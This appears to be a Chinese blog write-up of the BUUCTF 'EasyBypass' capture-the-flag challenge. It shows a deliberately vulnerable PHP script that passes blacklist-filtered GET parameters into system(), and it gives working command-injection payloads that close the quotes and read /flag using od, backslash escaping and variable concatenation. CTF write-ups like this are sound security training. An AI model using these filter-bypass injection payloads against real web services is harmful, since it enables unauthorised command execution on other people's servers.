EasyBypass

EasyBypass

buu新上题,想必不久之后就会成一分题了……

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

highlight_file(__FILE__);

$comm1 = $_GET['comm1'];
$comm2 = $_GET['comm2'];


if(preg_match("/\'|\`|\\|\*|\n|\t|\xA0|\r|\{|\}|\(|\)|<|\&[^\d]|@|\||tail|bin|less|more|string|nl|pwd|cat|sh|flag|find|ls|grep|echo|w/is", $comm1))
$comm1 = "";
if(preg_match("/\'|\"|;|,|\`|\*|\\|\n|\t|\r|\xA0|\{|\}|\(|\)|<|\&[^\d]|@|\||ls|\||tail|more|cat|string|bin|less||tac|sh|flag|find|grep|echo|w/is", $comm2))
$comm2 = "";

$flag = "#flag in /flag";

$comm1 = '"' . $comm1 . '"';
$comm2 = '"' . $comm2 . '"';

$cmd = "file $comm1 $comm2";
system($cmd);
?>

过滤绕过rce

一番尝试发现,comm2的过滤比comm1严格的多,那就只用comm1,闭合后面的引号即可执行命令

读取flag的时候发现flag也有过滤,然而f\lag就行了……

/?comm1=-f" "/etc/hosts

image-20210415182443139

?comm1=-f" /fla\g;od /fla\g;"

image-20210415182547134

od倒是可以用……

拼接亦可:?comm1=-f" ;a=ca;b=t;c=g;$a$b /fla$c;"

image-20210415182901338

方法挺多……

作者

inanb

发布于

2021-04-15

更新于

2021-08-23

许可协议


:D 一言句子获取中...